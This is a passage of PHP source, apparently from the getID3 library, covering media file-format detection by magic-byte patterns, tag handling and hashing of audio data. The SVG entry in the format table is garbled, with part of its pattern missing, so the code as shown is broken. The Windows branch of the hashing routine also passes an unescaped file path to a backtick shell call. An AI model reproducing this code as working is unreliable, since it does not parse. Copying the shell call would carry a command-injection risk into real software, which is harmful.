fseek($this->fp, 0); $header = fread($this->fp, 10); if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) { $this->info['id3v2']['header'] = true; $this->info['id3v2']['majorversion'] = ord($header[3]); $this->info['id3v2']['minorversion'] = ord($header[4]); $this->info['avdataoffset'] += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length } } // read 32 kb file data fseek($this->fp, $this->info['avdataoffset']); $formattest = fread($this->fp, 32774); // determine format $determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename)); // unable to determine file format if (!$determined_format) { fclose($this->fp); return $this->error('unable to determine file format'); } // check for illegal ID3 tags if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) { if ($determined_format['fail_id3'] === 'ERROR') { fclose($this->fp); return $this->error('ID3 tags not allowed on this file type.'); } elseif ($determined_format['fail_id3'] === 'WARNING') { $this->warning('ID3 tags not allowed on this file type.'); } } // check for illegal APE tags if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) { if ($determined_format['fail_ape'] === 'ERROR') { fclose($this->fp); return $this->error('APE tags not allowed on this file type.'); } elseif ($determined_format['fail_ape'] === 'WARNING') { $this->warning('APE tags not allowed on this file type.'); } } // set mime type $this->info['mime_type'] = $determined_format['mime_type']; // supported format signature pattern detected, but module deleted if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) { fclose($this->fp); return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.'); } // module requires mb_convert_encoding/iconv support // Check encoding/iconv support if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) { $errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. '; if (GETID3_OS_ISWINDOWS) { $errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32'; } else { $errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch'; } return $this->error($errormessage); } // include module include_once(GETID3_INCLUDEPATH.$determined_format['include']); // instantiate module class $class_name = 'getid3_'.$determined_format['module']; if (!class_exists($class_name)) { return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.'); } $class = new $class_name($this); $class->Analyze(); unset($class); // close file fclose($this->fp); // process all tags - copy to 'tags' and convert charsets if ($this->option_tags_process) { $this->HandleAllTags(); } // perform more calculations if ($this->option_extra_info) { $this->ChannelsBitratePlaytimeCalculations(); $this->CalculateCompressionRatioVideo(); $this->CalculateCompressionRatioAudio(); $this->CalculateReplayGain(); $this->ProcessAudioStreams(); } // get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags if ($this->option_md5_data) { // do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) { $this->getHashdata('md5'); } } // get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags if ($this->option_sha1_data) { $this->getHashdata('sha1'); } // remove undesired keys $this->CleanUp(); } catch (Exception $e) { $this->error('Caught exception: '.$e->getMessage()); } // return info array return $this->info; } /** * Error handling. * * @param string $message * * @return array */ public function error($message) { $this->CleanUp(); if (!isset($this->info['error'])) { $this->info['error'] = array(); } $this->info['error'][] = $message; return $this->info; } /** * Warning handling. * * @param string $message * * @return bool */ public function warning($message) { $this->info['warning'][] = $message; return true; } /** * @return bool */ private function CleanUp() { // remove possible empty keys $AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate'); foreach ($AVpossibleEmptyKeys as $dummy => $key) { if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) { unset($this->info['audio'][$key]); } if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) { unset($this->info['video'][$key]); } } // remove empty root keys if (!empty($this->info)) { foreach ($this->info as $key => $value) { if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) { unset($this->info[$key]); } } } // remove meaningless entries from unknown-format files if (empty($this->info['fileformat'])) { if (isset($this->info['avdataoffset'])) { unset($this->info['avdataoffset']); } if (isset($this->info['avdataend'])) { unset($this->info['avdataend']); } } // remove possible duplicated identical entries if (!empty($this->info['error'])) { $this->info['error'] = array_values(array_unique($this->info['error'])); } if (!empty($this->info['warning'])) { $this->info['warning'] = array_values(array_unique($this->info['warning'])); } // remove "global variable" type keys unset($this->info['php_memory_limit']); return true; } /** * Return array containing information about all supported formats. * * @return array */ public function GetFileFormatArray() { static $format_info = array(); if (empty($format_info)) { $format_info = array( // Audio formats // AC-3 - audio - Dolby AC-3 / Dolby Digital 'ac3' => array( 'pattern' => '^\\x0B\\x77', 'group' => 'audio', 'module' => 'ac3', 'mime_type' => 'audio/ac3', ), // AAC - audio - Advanced Audio Coding (AAC) - ADIF format 'adif' => array( 'pattern' => '^ADIF', 'group' => 'audio', 'module' => 'aac', 'mime_type' => 'audio/aac', 'fail_ape' => 'WARNING', ), /* // AA - audio - Audible Audiobook 'aa' => array( 'pattern' => '^.{4}\\x57\\x90\\x75\\x36', 'group' => 'audio', 'module' => 'aa', 'mime_type' => 'audio/audible', ), */ // AAC - audio - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3) 'adts' => array( 'pattern' => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]', 'group' => 'audio', 'module' => 'aac', 'mime_type' => 'audio/aac', 'fail_ape' => 'WARNING', ), // AU - audio - NeXT/Sun AUdio (AU) 'au' => array( 'pattern' => '^\\.snd', 'group' => 'audio', 'module' => 'au', 'mime_type' => 'audio/basic', ), // AMR - audio - Adaptive Multi Rate 'amr' => array( 'pattern' => '^\\x23\\x21AMR\\x0A', // #!AMR[0A] 'group' => 'audio', 'module' => 'amr', 'mime_type' => 'audio/amr', ), // AVR - audio - Audio Visual Research 'avr' => array( 'pattern' => '^2BIT', 'group' => 'audio', 'module' => 'avr', 'mime_type' => 'application/octet-stream', ), // BONK - audio - Bonk v0.9+ 'bonk' => array( 'pattern' => '^\\x00(BONK|INFO|META| ID3)', 'group' => 'audio', 'module' => 'bonk', 'mime_type' => 'audio/xmms-bonk', ), // DSF - audio - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital 'dsf' => array( 'pattern' => '^DSD ', // including trailing space: 44 53 44 20 'group' => 'audio', 'module' => 'dsf', 'mime_type' => 'audio/dsd', ), // DSS - audio - Digital Speech Standard 'dss' => array( 'pattern' => '^[\\x02-\\x08]ds[s2]', 'group' => 'audio', 'module' => 'dss', 'mime_type' => 'application/octet-stream', ), // DSDIFF - audio - Direct Stream Digital Interchange File Format 'dsdiff' => array( 'pattern' => '^FRM8', 'group' => 'audio', 'module' => 'dsdiff', 'mime_type' => 'audio/dsd', ), // DTS - audio - Dolby Theatre System 'dts' => array( 'pattern' => '^\\x7F\\xFE\\x80\\x01', 'group' => 'audio', 'module' => 'dts', 'mime_type' => 'audio/dts', ), // FLAC - audio - Free Lossless Audio Codec 'flac' => array( 'pattern' => '^fLaC', 'group' => 'audio', 'module' => 'flac', 'mime_type' => 'audio/flac', ), // LA - audio - Lossless Audio (LA) 'la' => array( 'pattern' => '^LA0[2-4]', 'group' => 'audio', 'module' => 'la', 'mime_type' => 'application/octet-stream', ), // LPAC - audio - Lossless Predictive Audio Compression (LPAC) 'lpac' => array( 'pattern' => '^LPAC', 'group' => 'audio', 'module' => 'lpac', 'mime_type' => 'application/octet-stream', ), // MIDI - audio - MIDI (Musical Instrument Digital Interface) 'midi' => array( 'pattern' => '^MThd', 'group' => 'audio', 'module' => 'midi', 'mime_type' => 'audio/midi', ), // MAC - audio - Monkey's Audio Compressor 'mac' => array( 'pattern' => '^MAC ', 'group' => 'audio', 'module' => 'monkey', 'mime_type' => 'audio/x-monkeys-audio', ), // has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available // // MOD - audio - MODule (assorted sub-formats) // 'mod' => array( // 'pattern' => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)', // 'group' => 'audio', // 'module' => 'mod', // 'option' => 'mod', // 'mime_type' => 'audio/mod', // ), // MOD - audio - MODule (Impulse Tracker) 'it' => array( 'pattern' => '^IMPM', 'group' => 'audio', 'module' => 'mod', //'option' => 'it', 'mime_type' => 'audio/it', ), // MOD - audio - MODule (eXtended Module, various sub-formats) 'xm' => array( 'pattern' => '^Extended Module', 'group' => 'audio', 'module' => 'mod', //'option' => 'xm', 'mime_type' => 'audio/xm', ), // MOD - audio - MODule (ScreamTracker) 's3m' => array( 'pattern' => '^.{44}SCRM', 'group' => 'audio', 'module' => 'mod', //'option' => 's3m', 'mime_type' => 'audio/s3m', ), // MPC - audio - Musepack / MPEGplus 'mpc' => array( 'pattern' => '^(MPCK|MP\\+|[\\x00\\x01\\x10\\x11\\x40\\x41\\x50\\x51\\x80\\x81\\x90\\x91\\xC0\\xC1\\xD0\\xD1][\\x20-\\x37][\\x00\\x20\\x40\\x60\\x80\\xA0\\xC0\\xE0])', 'group' => 'audio', 'module' => 'mpc', 'mime_type' => 'audio/x-musepack', ), // MP3 - audio - MPEG-audio Layer 3 (very similar to AAC-ADTS) 'mp3' => array( 'pattern' => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]', 'group' => 'audio', 'module' => 'mp3', 'mime_type' => 'audio/mpeg', ), // OFR - audio - OptimFROG 'ofr' => array( 'pattern' => '^(\\*RIFF|OFR)', 'group' => 'audio', 'module' => 'optimfrog', 'mime_type' => 'application/octet-stream', ), // RKAU - audio - RKive AUdio compressor 'rkau' => array( 'pattern' => '^RKA', 'group' => 'audio', 'module' => 'rkau', 'mime_type' => 'application/octet-stream', ), // SHN - audio - Shorten 'shn' => array( 'pattern' => '^ajkg', 'group' => 'audio', 'module' => 'shorten', 'mime_type' => 'audio/xmms-shn', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // TAK - audio - Tom's lossless Audio Kompressor 'tak' => array( 'pattern' => '^tBaK', 'group' => 'audio', 'module' => 'tak', 'mime_type' => 'application/octet-stream', ), // TTA - audio - TTA Lossless Audio Compressor (http://tta.corecodec.org) 'tta' => array( 'pattern' => '^TTA', // could also be '^TTA(\\x01|\\x02|\\x03|2|1)' 'group' => 'audio', 'module' => 'tta', 'mime_type' => 'application/octet-stream', ), // VOC - audio - Creative Voice (VOC) 'voc' => array( 'pattern' => '^Creative Voice File', 'group' => 'audio', 'module' => 'voc', 'mime_type' => 'audio/voc', ), // VQF - audio - transform-domain weighted interleave Vector Quantization Format (VQF) 'vqf' => array( 'pattern' => '^TWIN', 'group' => 'audio', 'module' => 'vqf', 'mime_type' => 'application/octet-stream', ), // WV - audio - WavPack (v4.0+) 'wv' => array( 'pattern' => '^wvpk', 'group' => 'audio', 'module' => 'wavpack', 'mime_type' => 'application/octet-stream', ), // Audio-Video formats // ASF - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio 'asf' => array( 'pattern' => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C', 'group' => 'audio-video', 'module' => 'asf', 'mime_type' => 'video/x-ms-asf', 'iconv_req' => false, ), // BINK - audio/video - Bink / Smacker 'bink' => array( 'pattern' => '^(BIK|SMK)', 'group' => 'audio-video', 'module' => 'bink', 'mime_type' => 'application/octet-stream', ), // FLV - audio/video - FLash Video 'flv' => array( 'pattern' => '^FLV[\\x01]', 'group' => 'audio-video', 'module' => 'flv', 'mime_type' => 'video/x-flv', ), // IVF - audio/video - IVF 'ivf' => array( 'pattern' => '^DKIF', 'group' => 'audio-video', 'module' => 'ivf', 'mime_type' => 'video/x-ivf', ), // MKAV - audio/video - Mastroka 'matroska' => array( 'pattern' => '^\\x1A\\x45\\xDF\\xA3', 'group' => 'audio-video', 'module' => 'matroska', 'mime_type' => 'video/x-matroska', // may also be audio/x-matroska ), // MPEG - audio/video - MPEG (Moving Pictures Experts Group) 'mpeg' => array( 'pattern' => '^\\x00\\x00\\x01[\\xB3\\xBA]', 'group' => 'audio-video', 'module' => 'mpeg', 'mime_type' => 'video/mpeg', ), // NSV - audio/video - Nullsoft Streaming Video (NSV) 'nsv' => array( 'pattern' => '^NSV[sf]', 'group' => 'audio-video', 'module' => 'nsv', 'mime_type' => 'application/octet-stream', ), // Ogg - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*)) 'ogg' => array( 'pattern' => '^OggS', 'group' => 'audio', 'module' => 'ogg', 'mime_type' => 'application/ogg', 'fail_id3' => 'WARNING', 'fail_ape' => 'WARNING', ), // QT - audio/video - Quicktime 'quicktime' => array( 'pattern' => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)', 'group' => 'audio-video', 'module' => 'quicktime', 'mime_type' => 'video/quicktime', ), // RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF) 'riff' => array( 'pattern' => '^(RIFF|SDSS|FORM)', 'group' => 'audio-video', 'module' => 'riff', 'mime_type' => 'audio/wav', 'fail_ape' => 'WARNING', ), // Real - audio/video - RealAudio, RealVideo 'real' => array( 'pattern' => '^\\.(RMF|ra)', 'group' => 'audio-video', 'module' => 'real', 'mime_type' => 'audio/x-realaudio', ), // SWF - audio/video - ShockWave Flash 'swf' => array( 'pattern' => '^(F|C)WS', 'group' => 'audio-video', 'module' => 'swf', 'mime_type' => 'application/x-shockwave-flash', ), // TS - audio/video - MPEG-2 Transport Stream 'ts' => array( 'pattern' => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G". Check for at least 10 packets matching this pattern 'group' => 'audio-video', 'module' => 'ts', 'mime_type' => 'video/MP2T', ), // WTV - audio/video - Windows Recorded TV Show 'wtv' => array( 'pattern' => '^\\xB7\\xD8\\x00\\x20\\x37\\x49\\xDA\\x11\\xA6\\x4E\\x00\\x07\\xE9\\x5E\\xAD\\x8D', 'group' => 'audio-video', 'module' => 'wtv', 'mime_type' => 'video/x-ms-wtv', ), // Still-Image formats // BMP - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4) 'bmp' => array( 'pattern' => '^BM', 'group' => 'graphic', 'module' => 'bmp', 'mime_type' => 'image/bmp', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // GIF - still image - Graphics Interchange Format 'gif' => array( 'pattern' => '^GIF', 'group' => 'graphic', 'module' => 'gif', 'mime_type' => 'image/gif', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // JPEG - still image - Joint Photographic Experts Group (JPEG) 'jpg' => array( 'pattern' => '^\\xFF\\xD8\\xFF', 'group' => 'graphic', 'module' => 'jpg', 'mime_type' => 'image/jpeg', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // PCD - still image - Kodak Photo CD 'pcd' => array( 'pattern' => '^.{2048}PCD_IPI\\x00', 'group' => 'graphic', 'module' => 'pcd', 'mime_type' => 'image/x-photo-cd', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // PNG - still image - Portable Network Graphics (PNG) 'png' => array( 'pattern' => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A', 'group' => 'graphic', 'module' => 'png', 'mime_type' => 'image/png', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // SVG - still image - Scalable Vector Graphics (SVG) 'svg' => array( 'pattern' => '( 'graphic', 'module' => 'svg', 'mime_type' => 'image/svg+xml', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // TIFF - still image - Tagged Information File Format (TIFF) 'tiff' => array( 'pattern' => '^(II\\x2A\\x00|MM\\x00\\x2A)', 'group' => 'graphic', 'module' => 'tiff', 'mime_type' => 'image/tiff', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // EFAX - still image - eFax (TIFF derivative) 'efax' => array( 'pattern' => '^\\xDC\\xFE', 'group' => 'graphic', 'module' => 'efax', 'mime_type' => 'image/efax', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // Data formats // ISO - data - International Standards Organization (ISO) CD-ROM Image 'iso' => array( 'pattern' => '^.{32769}CD001', 'group' => 'misc', 'module' => 'iso', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', 'iconv_req' => false, ), // HPK - data - HPK compressed data 'hpk' => array( 'pattern' => '^BPUL', 'group' => 'archive', 'module' => 'hpk', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // RAR - data - RAR compressed data 'rar' => array( 'pattern' => '^Rar\\!', 'group' => 'archive', 'module' => 'rar', 'mime_type' => 'application/vnd.rar', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // SZIP - audio/data - SZIP compressed data 'szip' => array( 'pattern' => '^SZ\\x0A\\x04', 'group' => 'archive', 'module' => 'szip', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // TAR - data - TAR compressed data 'tar' => array( 'pattern' => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}', 'group' => 'archive', 'module' => 'tar', 'mime_type' => 'application/x-tar', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // GZIP - data - GZIP compressed data 'gz' => array( 'pattern' => '^\\x1F\\x8B\\x08', 'group' => 'archive', 'module' => 'gzip', 'mime_type' => 'application/gzip', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // ZIP - data - ZIP compressed data 'zip' => array( 'pattern' => '^PK\\x03\\x04', 'group' => 'archive', 'module' => 'zip', 'mime_type' => 'application/zip', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // XZ - data - XZ compressed data 'xz' => array( 'pattern' => '^\\xFD7zXZ\\x00', 'group' => 'archive', 'module' => 'xz', 'mime_type' => 'application/x-xz', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // Misc other formats // PAR2 - data - Parity Volume Set Specification 2.0 'par2' => array ( 'pattern' => '^PAR2\\x00PKT', 'group' => 'misc', 'module' => 'par2', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // PDF - data - Portable Document Format 'pdf' => array( 'pattern' => '^\\x25PDF', 'group' => 'misc', 'module' => 'pdf', 'mime_type' => 'application/pdf', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // MSOFFICE - data - ZIP compressed data 'msoffice' => array( 'pattern' => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document 'group' => 'misc', 'module' => 'msoffice', 'mime_type' => 'application/octet-stream', 'fail_id3' => 'ERROR', 'fail_ape' => 'ERROR', ), // CUE - data - CUEsheet (index to single-file disc images) 'cue' => array( 'pattern' => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents 'group' => 'misc', 'module' => 'cue', 'mime_type' => 'application/octet-stream', ), ); } return $format_info; } /** * @param string $filedata * @param string $filename * * @return mixed|false */ public function GetFileFormat(&$filedata, $filename='') { // this function will determine the format of a file based on usually // the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG, // and in the case of ISO CD image, 6 bytes offset 32kb from the start // of the file). // Identify file format - loop through $format_info and detect with reg expr foreach ($this->GetFileFormatArray() as $format_name => $info) { // The /s switch on preg_match() forces preg_match() NOT to treat // newline (0x0A) characters as special chars but do a binary match if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) { $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; return $info; } } if (preg_match('#\\.mp[123a]$#i', $filename)) { // Too many mp3 encoders on the market put garbage in front of mpeg files // use assume format on these if format detection failed $GetFileFormatArray = $this->GetFileFormatArray(); $info = $GetFileFormatArray['mp3']; $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; return $info; } elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) { // there's not really a useful consistent "magic" at the beginning of .cue files to identify them // so until I think of something better, just go by filename if all other format checks fail // and verify there's at least one instance of "TRACK xx AUDIO" in the file $GetFileFormatArray = $this->GetFileFormatArray(); $info = $GetFileFormatArray['cue']; $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; return $info; } return false; } /** * Converts array to $encoding charset from $this->encoding. * * @param array $array * @param string $encoding */ public function CharConvert(&$array, $encoding) { // identical encoding - end here if ($encoding == $this->encoding) { return; } // loop thru array foreach ($array as $key => $value) { // go recursive if (is_array($value)) { $this->CharConvert($array[$key], $encoding); } // convert string elseif (is_string($value)) { $array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value)); } } } /** * @return bool */ public function HandleAllTags() { // key name => array (tag name, character encoding) static $tags; if (empty($tags)) { $tags = array( 'asf' => array('asf' , 'UTF-16LE'), 'midi' => array('midi' , 'ISO-8859-1'), 'nsv' => array('nsv' , 'ISO-8859-1'), 'ogg' => array('vorbiscomment' , 'UTF-8'), 'png' => array('png' , 'UTF-8'), 'tiff' => array('tiff' , 'ISO-8859-1'), 'quicktime' => array('quicktime' , 'UTF-8'), 'real' => array('real' , 'ISO-8859-1'), 'vqf' => array('vqf' , 'ISO-8859-1'), 'zip' => array('zip' , 'ISO-8859-1'), 'riff' => array('riff' , 'ISO-8859-1'), 'lyrics3' => array('lyrics3' , 'ISO-8859-1'), 'id3v1' => array('id3v1' , $this->encoding_id3v1), 'id3v2' => array('id3v2' , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8 'ape' => array('ape' , 'UTF-8'), 'cue' => array('cue' , 'ISO-8859-1'), 'matroska' => array('matroska' , 'UTF-8'), 'flac' => array('vorbiscomment' , 'UTF-8'), 'divxtag' => array('divx' , 'ISO-8859-1'), 'iptc' => array('iptc' , 'ISO-8859-1'), 'dsdiff' => array('dsdiff' , 'ISO-8859-1'), ); } // loop through comments array foreach ($tags as $comment_name => $tagname_encoding_array) { list($tag_name, $encoding) = $tagname_encoding_array; // fill in default encoding type if not already present if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) { $this->info[$comment_name]['encoding'] = $encoding; } // copy comments if key name set if (!empty($this->info[$comment_name]['comments'])) { foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) { foreach ($valuearray as $key => $value) { if (is_string($value)) { $value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed! } if ($value) { if (!is_numeric($key)) { $this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value; } else { $this->info['tags'][trim($tag_name)][trim($tag_key)][] = $value; } } } if ($tag_key == 'picture') { // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere unset($this->info[$comment_name]['comments'][$tag_key]); } } if (!isset($this->info['tags'][$tag_name])) { // comments are set but contain nothing but empty strings, so skip continue; } $this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']); // only copy gets converted! if ($this->option_tags_html) { foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) { if ($tag_key == 'picture') { // Do not to try to convert binary picture data to HTML // https://github.com/JamesHeinrich/getID3/issues/178 continue; } $this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']); } } } } // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere if (!empty($this->info['tags'])) { $unset_keys = array('tags', 'tags_html'); foreach ($this->info['tags'] as $tagtype => $tagarray) { foreach ($tagarray as $tagname => $tagdata) { if ($tagname == 'picture') { foreach ($tagdata as $key => $tagarray) { $this->info['comments']['picture'][] = $tagarray; if (isset($tagarray['data']) && isset($tagarray['image_mime'])) { if (isset($this->info['tags'][$tagtype][$tagname][$key])) { unset($this->info['tags'][$tagtype][$tagname][$key]); } if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) { unset($this->info['tags_html'][$tagtype][$tagname][$key]); } } } } } foreach ($unset_keys as $unset_key) { // remove possible empty keys from (e.g. [tags][id3v2][picture]) if (empty($this->info[$unset_key][$tagtype]['picture'])) { unset($this->info[$unset_key][$tagtype]['picture']); } if (empty($this->info[$unset_key][$tagtype])) { unset($this->info[$unset_key][$tagtype]); } if (empty($this->info[$unset_key])) { unset($this->info[$unset_key]); } } // remove duplicate copy of picture data from (e.g. [id3v2][comments][picture]) if (isset($this->info[$tagtype]['comments']['picture'])) { unset($this->info[$tagtype]['comments']['picture']); } if (empty($this->info[$tagtype]['comments'])) { unset($this->info[$tagtype]['comments']); } if (empty($this->info[$tagtype])) { unset($this->info[$tagtype]); } } } return true; } /** * Calls getid3_lib::CopyTagsToComments() but passes in the option_tags_html setting from this instance of getID3 * * @param array $ThisFileInfo * * @return bool */ public function CopyTagsToComments(&$ThisFileInfo) { return getid3_lib::CopyTagsToComments($ThisFileInfo, $this->option_tags_html); } /** * @param string $algorithm * * @return array|bool */ public function getHashdata($algorithm) { switch ($algorithm) { case 'md5': case 'sha1': break; default: return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()'); } if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) { // We cannot get an identical md5_data value for Ogg files where the comments // span more than 1 Ogg page (compared to the same audio data with smaller // comments) using the normal getID3() method of MD5'ing the data between the // end of the comments and the end of the file (minus any trailing tags), // because the page sequence numbers of the pages that the audio data is on // do not match. Under normal circumstances, where comments are smaller than // the nominal 4-8kB page size, then this is not a problem, but if there are // very large comments, the only way around it is to strip off the comment // tags with vorbiscomment and MD5 that file. // This procedure must be applied to ALL Ogg files, not just the ones with // comments larger than 1 page, because the below method simply MD5's the // whole file with the comments stripped, not just the portion after the // comments block (which is the standard getID3() method. // The above-mentioned problem of comments spanning multiple pages and changing // page sequence numbers likely happens for OggSpeex and OggFLAC as well, but // currently vorbiscomment only works on OggVorbis files. // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { $this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)'); $this->info[$algorithm.'_data'] = false; } else { // Prevent user from aborting script $old_abort = ignore_user_abort(true); // Create empty file $empty = tempnam(GETID3_TEMP_DIR, 'getID3'); touch($empty); // Use vorbiscomment to make temp file without comments $temp = tempnam(GETID3_TEMP_DIR, 'getID3'); $file = $this->info['filenamepath']; if (GETID3_OS_ISWINDOWS) { if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) { $commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"'; $VorbisCommentError = `$commandline`; } else { $VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR; } } else { $commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1'; $VorbisCommentError = `$commandline`; } if (!empty($VorbisCommentError)) { $this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError); $this->info[$algorithm.'_data'] = false; } else { // Get hash of newly created file switch ($algorithm) { case 'md5': $this->info[$algorithm.'_data'] = md5_file($temp); break; case 'sha1': $this->info[$algorithm.'_data'] = sha1_file($temp); break; } } // Clean up unlink($empty); unlink($temp); // Reset abort setting ignore_user_abort($old_abort); } } else { if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) { // get hash from part of file $this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm); } else { // get hash from whole file switch ($algorithm) { case 'md5': $this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']); break; case 'sha1': $this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']); break; } } } return true; } public function ChannelsBitratePlaytimeCalculations() { // set channelmode on audio if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) { // ignore } elseif ($this->info['audio']['channels'] == 1) { $this->info['audio']['channelmode'] = 'mono'; } elseif 